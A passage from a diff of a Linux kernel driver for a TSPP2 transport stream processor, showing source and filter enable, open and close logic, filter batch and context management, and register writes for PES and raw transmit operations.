+- tspp2_tsif_start(&src->device->tsif_devices[src->input]); +- +- reg = readl_relaxed(src->device->base + +- TSPP2_TSIF_INPUT_SRC_CONFIG(src->input)); +- reg |= (0x1 << TSIF_INPUT_SRC_CONFIG_INPUT_EN_OFFS); +- writel_relaxed(reg, src->device->base + +- TSPP2_TSIF_INPUT_SRC_CONFIG(src->input)); +- } else { +- reg = readl_relaxed(src->device->base + +- TSPP2_MEM_INPUT_SRC_CONFIG(src->hw_index)); +- reg |= (0x1 << MEM_INPUT_SRC_CONFIG_INPUT_EN_OFFS); +- writel_relaxed(reg, src->device->base + +- TSPP2_MEM_INPUT_SRC_CONFIG(src->hw_index)); +- } +- +- src->enabled = 1; +- src->device->num_enabled_sources++; +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_src_enable); +- +-/** +- * tspp2_src_disable() - Disable source. +- * +- * @src_handle: Source to disable. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_disable(u32 src_handle) +-{ +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- int ret; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- mutex_lock(&src->device->mutex); +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- ret = tspp2_src_disable_internal(src); +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- if (!ret) +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return ret; +-} +-EXPORT_SYMBOL(tspp2_src_disable); +- +-/** +- * tspp2_filter_ops_clear() - Clear filter operations database and HW +- * +- * @filter: The filter to work on. +- */ +-static void tspp2_filter_ops_clear(struct tspp2_filter *filter) +-{ +- int i; +- +- /* Set all filter operations in HW to Exit operation */ +- for (i = 0; i < TSPP2_MAX_OPS_PER_FILTER; i++) { +- writel_relaxed(TSPP2_OPCODE_EXIT, filter->device->base + +- TSPP2_OPCODE(filter->hw_index, i)); +- } +- memset(filter->operations, 0, +- (sizeof(struct tspp2_operation) * TSPP2_MAX_OPS_PER_FILTER)); +- filter->num_user_operations = 0; +- filter->indexing_op_set = 0; +- filter->raw_op_with_indexing = 0; +- filter->pes_analysis_op_set = 0; +- filter->raw_op_set = 0; +- filter->pes_tx_op_set = 0; +-} +- +-/** +- * tspp2_filter_context_reset() - Reset filter context and release it. +- * +- * @filter: The filter to work on. +- */ +-static void tspp2_filter_context_reset(struct tspp2_filter *filter) +-{ +- /* Reset this filter's context. Each register handles 32 contexts */ +- writel_relaxed((0x1 << TSPP2_MODULUS_OP(filter->context, 32)), +- filter->device->base + +- TSPP2_TSP_CONTEXT_RESET(filter->context >> 5)); +- writel_relaxed((0x1 << TSPP2_MODULUS_OP(filter->context, 32)), +- filter->device->base + +- TSPP2_PES_CONTEXT_RESET(filter->context >> 5)); +- writel_relaxed((0x1 << TSPP2_MODULUS_OP(filter->context, 32)), +- filter->device->base + +- TSPP2_INDEXING_CONTEXT_RESET(filter->context >> 5)); +- +- writel_relaxed(0, filter->device->base + +- TSPP2_FILTER_ENTRY1(filter->hw_index)); +- +- /* Release context */ +- filter->device->contexts[filter->context] = 0; +-} +- +-/** +- * tspp2_filter_sw_reset() - Reset filter SW fields helper function. +- * +- * @filter: The filter to work on. +- */ +-static void tspp2_filter_sw_reset(struct tspp2_filter *filter) +-{ +- unsigned long flags; +- /* +- * All fields are cleared when opening a filter. Still it is important +- * to reset some of the fields here, specifically to set opened to 0 and +- * also to set the callback to NULL. +- */ +- filter->opened = 0; +- filter->src = NULL; +- filter->batch = NULL; +- filter->context = 0; +- filter->hw_index = 0; +- filter->pid_value = 0; +- filter->mask = 0; +- spin_lock_irqsave(&filter->device->spinlock, flags); +- filter->event_callback = NULL; +- filter->event_cookie = NULL; +- filter->event_bitmask = 0; +- spin_unlock_irqrestore(&filter->device->spinlock, flags); +- filter->enabled = 0; +-} +- +-/** +- * tspp2_src_batch_set() - Set/clear a filter batch to/from a source. +- * +- * @src: The source to work on. +- * @batch_id: The batch to set/clear. +- * @set: Set/clear flag. +- */ +-static void tspp2_src_batch_set(struct tspp2_src *src, u8 batch_id, int set) +-{ +- u32 reg = 0; +- +- if (src->input == TSPP2_INPUT_MEMORY) { +- reg = readl_relaxed(src->device->base + +- TSPP2_MEM_INPUT_SRC_CONFIG(src->hw_index)); +- if (set) +- reg |= ((1 << batch_id) << +- MEM_INPUT_SRC_CONFIG_BATCHES_OFFS); +- else +- reg &= ~((1 << batch_id) << +- MEM_INPUT_SRC_CONFIG_BATCHES_OFFS); +- writel_relaxed(reg, src->device->base + +- TSPP2_MEM_INPUT_SRC_CONFIG(src->hw_index)); +- } else { +- reg = readl_relaxed(src->device->base + +- TSPP2_TSIF_INPUT_SRC_CONFIG(src->input)); +- if (set) +- reg |= ((1 << batch_id) << +- TSIF_INPUT_SRC_CONFIG_BATCHES_OFFS); +- else +- reg &= ~((1 << batch_id) << +- TSIF_INPUT_SRC_CONFIG_BATCHES_OFFS); +- writel_relaxed(reg, src->device->base + +- TSPP2_TSIF_INPUT_SRC_CONFIG(src->input)); +- } +-} +- +-/** +- * tspp2_src_filters_clear() - Clear all filters from a source. +- * +- * @src_handle: Source to clear all filters from. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_src_filters_clear(u32 src_handle) +-{ +- int ret; +- int i; +- struct tspp2_filter *filter = NULL; +- struct tspp2_filter *tmp_filter; +- struct tspp2_filter_batch *batch = NULL; +- struct tspp2_filter_batch *tmp_batch; +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- mutex_lock(&src->device->mutex); +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- /* Go over filters in source, disable them, clear their operations, +- * "close" them (similar to tspp2_filter_close function but simpler). +- * No need to worry about cases of reserved filter, so just clear +- * filters HW- and SW-wise. Then update source's filters and batches +- * lists and numbers. Simple :) +- */ +- list_for_each_entry_safe(filter, tmp_filter, &src->filters_list, link) { +- /* Disable filter */ +- writel_relaxed(0, filter->device->base + +- TSPP2_FILTER_ENTRY0(filter->hw_index)); +- /* Clear filter operations in HW as well as related SW fields */ +- tspp2_filter_ops_clear(filter); +- /* Reset filter context-based counters */ +- tspp2_filter_counters_reset(filter->device, filter->context); +- /* Reset filter context and release it back to the device */ +- tspp2_filter_context_reset(filter); +- /* Reset filter SW fields */ +- tspp2_filter_sw_reset(filter); +- +- list_del(&filter->link); +- } +- +- list_for_each_entry_safe(batch, tmp_batch, &src->batches_list, link) { +- tspp2_src_batch_set(src, batch->batch_id, 0); +- for (i = 0; i < TSPP2_FILTERS_PER_BATCH; i++) +- batch->hw_filters[i] = 0; +- batch->src = NULL; +- list_del(&batch->link); +- } +- +- src->num_associated_batches = 0; +- src->num_associated_filters = 0; +- src->reserved_filter_hw_index = 0; +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_src_filters_clear); +- +-/* Filters and Operations API functions */ +- +-/** +- * tspp2_filter_open() - Open a new filter and add it to a source. +- * +- * @src_handle: Source to add the new filter to. +- * @pid: Filter's 13-bit PID value. +- * @mask: Filter's 13-bit mask. Note it is highly recommended +- * to use a full bit mask of 0x1FFF, so the filter +- * operates on a unique PID. +- * @filter_handle: Opened filter handle. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_filter_open(u32 src_handle, u16 pid, u16 mask, u32 *filter_handle) +-{ +- struct tspp2_src *src = (struct tspp2_src *)src_handle; +- struct tspp2_filter_batch *batch; +- struct tspp2_filter *filter = NULL; +- u16 hw_idx; +- int i; +- u32 reg = 0; +- int found = 0; +- int ret; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- if (!filter_handle) { +- pr_err("%s: Invalid filter handle pointer\n", __func__); +- return -EINVAL; +- } +- +- if ((pid & ~0x1FFF) || (mask & ~0x1FFF)) { +- pr_err("%s: Invalid PID or mask values (13 bits available)\n", +- __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(src->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&src->device->mutex)) { +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!src->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EPERM; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -EINVAL; +- } +- +- /* Find an available filter object in the device's filters database */ +- for (i = 0; i < TSPP2_NUM_AVAIL_FILTERS; i++) +- if (!src->device->filters[i].opened) +- break; +- if (i == TSPP2_NUM_AVAIL_FILTERS) { +- pr_err("%s: No available filters\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ENOMEM; +- } +- filter = &src->device->filters[i]; +- +- /* Find an available context. Each new filter needs a unique context */ +- for (i = 0; i < TSPP2_NUM_AVAIL_CONTEXTS; i++) +- if (!src->device->contexts[i]) +- break; +- if (i == TSPP2_NUM_AVAIL_CONTEXTS) { +- pr_err("%s: No available filters\n", __func__); +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ENOMEM; +- } +- src->device->contexts[i] = 1; +- filter->context = i; +- +- if (src->num_associated_batches) { +- /* +- * Look for an available HW filter among the batches +- * already associated with this source. +- */ +- list_for_each_entry(batch, &src->batches_list, link) { +- for (i = 0; i < TSPP2_FILTERS_PER_BATCH; i++) { +- hw_idx = (batch->batch_id * +- TSPP2_FILTERS_PER_BATCH) + i; +- if ((hw_idx != src->reserved_filter_hw_index) && +- (batch->hw_filters[i] == 0)) +- break; +- } +- if (i < TSPP2_FILTERS_PER_BATCH) { +- /* Found an available HW filter */ +- batch->hw_filters[i] = 1; +- found = 1; +- break; +- } +- } +- } +- +- if (!found) { +- /* Either the source did not have any associated batches, +- * or we could not find an available HW filter in any of +- * the source's batches. In any case, we need to find a new +- * batch. Then we use the first filter in this batch. +- */ +- for (i = 0; i < TSPP2_NUM_BATCHES; i++) { +- if (!src->device->batches[i].src) { +- src->device->batches[i].src = src; +- batch = &src->device->batches[i]; +- batch->hw_filters[0] = 1; +- hw_idx = (batch->batch_id * +- TSPP2_FILTERS_PER_BATCH); +- break; +- } +- } +- if (i == TSPP2_NUM_BATCHES) { +- pr_err("%s: No available filters\n", __func__); +- src->device->contexts[filter->context] = 0; +- filter->context = 0; +- mutex_unlock(&src->device->mutex); +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- return -ENOMEM; +- } +- +- tspp2_src_batch_set(src, batch->batch_id, 1); +- +- list_add_tail(&batch->link, &src->batches_list); +- +- /* Update reserved filter index only when needed */ +- if (src->num_associated_batches == 0) { +- src->reserved_filter_hw_index = +- (batch->batch_id * TSPP2_FILTERS_PER_BATCH) + +- TSPP2_FILTERS_PER_BATCH - 1; +- } +- src->num_associated_batches++; +- } +- +- filter->opened = 1; +- filter->src = src; +- filter->batch = batch; +- filter->hw_index = hw_idx; +- filter->pid_value = pid; +- filter->mask = mask; +- filter->indexing_table_id = 0; +- tspp2_filter_ops_clear(filter); +- filter->event_callback = NULL; +- filter->event_cookie = NULL; +- filter->event_bitmask = 0; +- filter->enabled = 0; +- /* device back-pointer is already initialized, always remains valid */ +- +- list_add_tail(&filter->link, &src->filters_list); +- src->num_associated_filters++; +- +- /* Reset filter context-based counters */ +- tspp2_filter_counters_reset(filter->device, filter->context); +- +- /* Reset this filter's context */ +- writel_relaxed((0x1 << TSPP2_MODULUS_OP(filter->context, 32)), +- filter->device->base + +- TSPP2_TSP_CONTEXT_RESET(filter->context >> 5)); +- writel_relaxed((0x1 << TSPP2_MODULUS_OP(filter->context, 32)), +- filter->device->base + +- TSPP2_PES_CONTEXT_RESET(filter->context >> 5)); +- writel_relaxed((0x1 << TSPP2_MODULUS_OP(filter->context, 32)), +- filter->device->base + +- TSPP2_INDEXING_CONTEXT_RESET(filter->context >> 5)); +- +- /* Write PID and mask */ +- reg = ((pid << FILTER_ENTRY0_PID_OFFS) | +- (mask << FILTER_ENTRY0_MASK_OFFS)); +- writel_relaxed(reg, filter->device->base + +- TSPP2_FILTER_ENTRY0(filter->hw_index)); +- +- writel_relaxed((filter->context << FILTER_ENTRY1_CONTEXT_OFFS), +- filter->device->base + TSPP2_FILTER_ENTRY1(filter->hw_index)); +- +- *filter_handle = (u32)filter; +- +- mutex_unlock(&src->device->mutex); +- +- pm_runtime_mark_last_busy(src->device->dev); +- pm_runtime_put_autosuspend(src->device->dev); +- +- dev_dbg(src->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_filter_open); +- +-/** +- * tspp2_hw_filters_in_batch() - Check for used HW filters in a batch. +- * +- * @batch: The filter batch to check. +- * +- * Helper function to check if there are any HW filters used on this batch. +- * +- * Return 1 if found a used filter in this batch, 0 otherwise. +- */ +-static inline int tspp2_hw_filters_in_batch(struct tspp2_filter_batch *batch) +-{ +- int i; +- +- for (i = 0; i < TSPP2_FILTERS_PER_BATCH; i++) +- if (batch->hw_filters[i] == 1) +- return 1; +- +- return 0; +-} +- +-/** +- * tspp2_filter_close() - Close a filter. +- * +- * @filter_handle: Filter to close. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_filter_close(u32 filter_handle) +-{ +- int i; +- int ret; +- struct tspp2_device *device; +- struct tspp2_src *src = NULL; +- struct tspp2_filter_batch *batch = NULL; +- struct tspp2_filter_batch *tmp_batch; +- struct tspp2_filter *filter = (struct tspp2_filter *)filter_handle; +- +- if (!filter) { +- pr_err("%s: Invalid filter handle\n", __func__); +- return -EINVAL; +- } +- +- device = filter->device; +- +- ret = pm_runtime_get_sync(device->dev); +- if (ret < 0) +- return ret; +- +- mutex_lock(&device->mutex); +- +- if (!device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EPERM; +- } +- +- if (!filter->opened) { +- pr_err("%s: Filter already closed\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EINVAL; +- } +- +- if (filter->num_user_operations) +- pr_warn("%s: Closing filters that has %d operations\n", +- __func__, filter->num_user_operations); +- +- /* Disable filter */ +- writel_relaxed(0, device->base + +- TSPP2_FILTER_ENTRY0(filter->hw_index)); +- +- /* Clear filter operations in HW as well as related SW fields */ +- tspp2_filter_ops_clear(filter); +- +- /* Reset filter context-based counters */ +- tspp2_filter_counters_reset(device, filter->context); +- +- /* Reset filter context and release it back to the device */ +- tspp2_filter_context_reset(filter); +- +- /* Mark filter as unused in batch */ +- filter->batch->hw_filters[(filter->hw_index - +- (filter->batch->batch_id * TSPP2_FILTERS_PER_BATCH))] = 0; +- +- /* Remove filter from source */ +- list_del(&filter->link); +- filter->src->num_associated_filters--; +- +- /* We may need to update the reserved filter for this source. +- * Cases to handle: +- * 1. This is the last filter on this source. +- * 2. This is the last filter on this batch + reserved filter is not on +- * this batch. +- * 3. This is the last filter on this batch + reserved filter is on this +- * batch. Can possibly move reserved filter to another batch if space is +- * available. +- * 4. This is not the last filter on this batch. The reserved filter may +- * be the only one taking another batch and may be moved to this batch +- * to save space. +- */ +- +- src = filter->src; +- /* +- * Case #1: this could be the last filter associated with this source. +- * If this is the case, we can release the batch too. We don't care +- * about the reserved HW filter index, since there are no more filters. +- */ +- if (src->num_associated_filters == 0) { +- filter->batch->src = NULL; +- list_del(&filter->batch->link); +- src->num_associated_batches--; +- tspp2_src_batch_set(src, filter->batch->batch_id, 0); +- src->reserved_filter_hw_index = 0; +- goto filter_clear; +- } +- +- /* +- * If this is the last filter that was used in this batch, we may be +- * able to release this entire batch. However, we have to make sure the +- * reserved filter is not in this batch. If it is, we may find a place +- * for it in another batch in this source. +- */ +- if (!tspp2_hw_filters_in_batch(filter->batch)) { +- /* There are no more used filters on this batch */ +- if ((src->reserved_filter_hw_index < +- (filter->batch->batch_id * TSPP2_FILTERS_PER_BATCH)) || +- (src->reserved_filter_hw_index >= +- ((filter->batch->batch_id * TSPP2_FILTERS_PER_BATCH) + +- TSPP2_FILTERS_PER_BATCH))) { +- /* Case #2: the reserved filter is not on this batch */ +- filter->batch->src = NULL; +- list_del(&filter->batch->link); +- src->num_associated_batches--; +- tspp2_src_batch_set(src, filter->batch->batch_id, 0); +- } else { +- /* +- * Case #3: see if we can "move" the reserved filter to +- * a different batch. +- */ +- list_for_each_entry_safe(batch, tmp_batch, +- &src->batches_list, link) { +- if (batch == filter->batch) +- continue; +- +- for (i = 0; i < TSPP2_FILTERS_PER_BATCH; i++) { +- if (batch->hw_filters[i] == 0) { +- src->reserved_filter_hw_index = +- (batch->batch_id * +- TSPP2_FILTERS_PER_BATCH) +- + i; +- +- filter->batch->src = NULL; +- list_del(&filter->batch->link); +- src->num_associated_batches--; +- tspp2_src_batch_set(src, +- filter->batch->batch_id, +- 0); +- goto filter_clear; +- } +- } +- } +- } +- } else { +- /* Case #4: whenever we remove a filter, there is always a +- * chance that the reserved filter was the only filter used on a +- * different batch. So now this is a good opportunity to check +- * if we can release that batch and use the index of the filter +- * we're freeing instead. +- */ +- list_for_each_entry_safe(batch, tmp_batch, +- &src->batches_list, link) { +- if (((src->reserved_filter_hw_index >= +- (batch->batch_id * TSPP2_FILTERS_PER_BATCH)) && +- (src->reserved_filter_hw_index < +- (batch->batch_id * TSPP2_FILTERS_PER_BATCH + +- TSPP2_FILTERS_PER_BATCH))) && +- !tspp2_hw_filters_in_batch(batch)) { +- src->reserved_filter_hw_index = +- filter->hw_index; +- batch->src = NULL; +- list_del(&batch->link); +- src->num_associated_batches--; +- tspp2_src_batch_set(src, batch->batch_id, 0); +- break; +- } +- } +- } +- +-filter_clear: +- tspp2_filter_sw_reset(filter); +- +- mutex_unlock(&device->mutex); +- +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_filter_close); +- +-/** +- * tspp2_filter_enable() - Enable a filter. +- * +- * @filter_handle: Filter to enable. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_filter_enable(u32 filter_handle) +-{ +- struct tspp2_filter *filter = (struct tspp2_filter *)filter_handle; +- u32 reg; +- int ret; +- +- if (!filter) { +- pr_err("%s: Invalid filter handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(filter->device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&filter->device->mutex)) { +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -ERESTARTSYS; +- } +- +- if (!filter->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EPERM; +- } +- +- if (!filter->opened) { +- pr_err("%s: Filter not opened\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EINVAL; +- } +- +- if (filter->enabled) { +- pr_warn("%s: Filter already enabled\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return 0; +- } +- +- reg = readl_relaxed(filter->device->base + +- TSPP2_FILTER_ENTRY0(filter->hw_index)); +- reg |= (0x1 << FILTER_ENTRY0_EN_OFFS); +- writel_relaxed(reg, filter->device->base + +- TSPP2_FILTER_ENTRY0(filter->hw_index)); +- +- filter->enabled = 1; +- +- mutex_unlock(&filter->device->mutex); +- +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_filter_enable); +- +-/** +- * tspp2_filter_disable() - Disable a filter. +- * +- * @filter_handle: Filter to disable. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_filter_disable(u32 filter_handle) +-{ +- struct tspp2_filter *filter = (struct tspp2_filter *)filter_handle; +- u32 reg; +- int ret; +- +- if (!filter) { +- pr_err("%s: Invalid filter handle\n", __func__); +- return -EINVAL; +- } +- +- ret = pm_runtime_get_sync(filter->device->dev); +- if (ret < 0) +- return ret; +- +- mutex_lock(&filter->device->mutex); +- +- if (!filter->device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EPERM; +- } +- +- if (!filter->opened) { +- pr_err("%s: Filter not opened\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return -EINVAL; +- } +- +- if (!filter->enabled) { +- pr_warn("%s: Filter already disabled\n", __func__); +- mutex_unlock(&filter->device->mutex); +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- return 0; +- } +- +- reg = readl_relaxed(filter->device->base + +- TSPP2_FILTER_ENTRY0(filter->hw_index)); +- reg &= ~(0x1 << FILTER_ENTRY0_EN_OFFS); +- writel_relaxed(reg, filter->device->base + +- TSPP2_FILTER_ENTRY0(filter->hw_index)); +- +- /* +- * HW requires we wait for up to 2ms here before closing the pipes +- * used by this filter +- */ +- udelay(TSPP2_HW_DELAY_USEC); +- +- filter->enabled = 0; +- +- mutex_unlock(&filter->device->mutex); +- +- pm_runtime_mark_last_busy(filter->device->dev); +- pm_runtime_put_autosuspend(filter->device->dev); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_filter_disable); +- +-/** +- * tspp2_pes_analysis_op_write() - Write a PES Analysis operation. +- * +- * @filter: The filter to set the operation to. +- * @op: The operation. +- * @op_index: The operation's index in this filter. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_pes_analysis_op_write(struct tspp2_filter *filter, +- const struct tspp2_operation *op, +- u8 op_index) +-{ +- u32 reg = 0; +- +- if (filter->mask != TSPP2_UNIQUE_PID_MASK) { +- pr_err( +- "%s: A filter with a PES Analysis operation must handle a unique PID\n", +- __func__); +- return -EINVAL; +- } +- +- /* +- * Bits[19:6] = 0, Bit[5] = Source, +- * Bit[4] = Skip, Bits[3:0] = Opcode +- */ +- reg |= TSPP2_OPCODE_PES_ANALYSIS; +- if (op->params.pes_analysis.skip_ts_errs) +- reg |= (0x1 << 4); +- +- if (op->params.pes_analysis.input == TSPP2_OP_BUFFER_B) +- reg |= (0x1 << 5); +- +- filter->pes_analysis_op_set = 1; +- +- writel_relaxed(reg, filter->device->base + +- TSPP2_OPCODE(filter->hw_index, op_index)); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +- +-/** +- * tspp2_raw_tx_op_write() - Write a RAW Transmit operation. +- * +- * @filter: The filter to set the operation to. +- * @op: The operation. +- * @op_index: The operation's index in this filter. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_raw_tx_op_write(struct tspp2_filter *filter, +- const struct tspp2_operation *op, +- u8 op_index) +-{ +- u32 reg = 0; +- int timestamp = 0; +- struct tspp2_pipe *pipe = (struct tspp2_pipe *) +- op->params.raw_transmit.output_pipe_handle; +- +- if (!pipe || !pipe->opened) { +- pr_err("%s: Invalid pipe handle\n", __func__); +- return -EINVAL; +- } +- +- /* +- * Bits[19:16] = 0, Bit[15] = Support Indexing, +- * Bit[14] = Timestamp position, +- * Bits[13:12] = Timestamp mode, +- * Bits[11:6] = Output pipe, Bit[5] = Source, +- * Bit[4] = Skip, Bits[3:0] = Opcode +- */ +- reg |= TSPP2_OPCODE_RAW_TRANSMIT; +- if (op->params.raw_transmit.skip_ts_errs) +- reg |= (0x1 << 4); +- +- if (op->params.raw_transmit.input == TSPP2_OP_BUFFER_B) +- reg |= (0x1 << 5); +- +- reg |= ((pipe->hw_index & 0x3F) << 6); +- +- switch (op->params.raw_transmit.timestamp_mode) { +- case TSPP2_OP_TIMESTAMP_NONE: +- /* nothing to do, keep bits value as 0 */ +- break; +- case TSPP2_OP_TIMESTAMP_ZERO: +- reg |= (0x1 << 12); +- timestamp = 1; +- break; +- case TSPP2_OP_TIMESTAMP_STC: +- reg |= (0x2 << 12); +- timestamp = 1; +- break; +- default: +- pr_err("%s: Invalid timestamp mode\n", __func__); +- return -EINVAL; +- } +- +- if (timestamp && op->params.raw_transmit.timestamp_position == +- TSPP2_PACKET_FORMAT_188_RAW) { +- pr_err("%s: Invalid timestamp position\n", __func__); +- return -EINVAL; +- } +- +- if (op->params.raw_transmit.timestamp_position == +- TSPP2_PACKET_FORMAT_192_TAIL) +- reg |= (0x1 << 14); +- +- if (op->params.raw_transmit.support_indexing) { +- if (filter->raw_op_with_indexing) { +- pr_err( +- "%s: Only one Raw Transmit operation per filter can support HW indexing\n", +- __func__); +- return -EINVAL; +- } +- filter->raw_op_with_indexing = 1; +- reg |= (0x1 << 15); +- } +- +- filter->raw_op_set = 1; +- +- writel_relaxed(reg, filter->device->base + +- TSPP2_OPCODE(filter->hw_index, op_index)); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +- +-/** +- * tspp2_pes_tx_op_write() - Write a PES Transmit operation. +- * +- * @filter: The filter to set the operation to. +- * @op: The operation. +- * @op_index: The operation's index in this filter. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_pes_tx_op_write(struct tspp2_filter *filter, +- const struct tspp2_operation *op, +- u8 op_index) +-{ +- u32 reg = 0; +- struct tspp2_pipe *payload_pipe = (struct tspp2_pipe *) +- op->params.pes_transmit.output_pipe_handle; +- struct tspp2_pipe *header_pipe; +- +- if (!payload_pipe || !payload_pipe->opened) { +- pr_err("%s: Invalid payload pipe handle\n", __func__); +- return -EINVAL; +- } +- +- if (!filter->pes_analysis_op_set) { +- pr_err( +- "%s: PES Analysys operation must precede any PES Transmit operation\n", +- __func__); +- return -EINVAL; +- } +- +- /* +- * Bits[19:18] = 0, Bits[17:12] = PES Header output pipe, +- * Bits[11:6] = Output pipe, Bit[5] = Source, +- * Bit[4] = Attach STC and flags, +- * Bit[3] = Disable TX on PES discontinuity, +- * Bit[2] = Enable SW indexing, Bit[1] = Mode, Bit[0] = 0 +- */ +- +- if (op->params.pes_transmit.mode == TSPP2_OP_PES_TRANSMIT_FULL) { +- reg |= (0x1 << 1); +- } else { +- /* Separated PES mode requires another pipe */ +- header_pipe = (struct tspp2_pipe *) +- op->params.pes_transmit.header_output_pipe_handle; +- +- if (!header_pipe || !header_pipe->opened) { +- pr_err("%s: Invalid header pipe handle\n", __func__); +- return -EINVAL; +- } +- +- reg |= ((header_pipe->hw_index & 0x3F) << 12); +- } +- +- if (op->params.pes_transmit.enable_sw_indexing) { +- if (!filter->raw_op_set) { +- pr_err( +- "%s: PES Transmit operation with SW indexing must be preceded by a Raw Transmit operation\n", +- __func__); +- return -EINVAL; +- } +- reg |= (0x1 << 2); +- } +- +- if (op->params.pes_transmit.disable_tx_on_pes_discontinuity) +- reg |= (0x1 << 3); +- +- if (op->params.pes_transmit.attach_stc_flags) +- reg |= (0x1 << 4); +- +- if (op->params.pes_transmit.input == TSPP2_OP_BUFFER_B) +- reg |= (0x1 << 5); +- +- reg |= ((payload_pipe->hw_index & 0x3F) << 6); +- +- filter->pes_tx_op_set = 1; +- +- writel_relaxed(reg, filter->device->base + +- TSPP2_OPCODE(filter->hw_index, op_index)); +- +- dev_dbg(filter->device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +- +-/** +- * tspp2_pcr_op_write() - Write a PCR Extraction operation. +- * +- * @filter: The filter to set the operation to. +- * 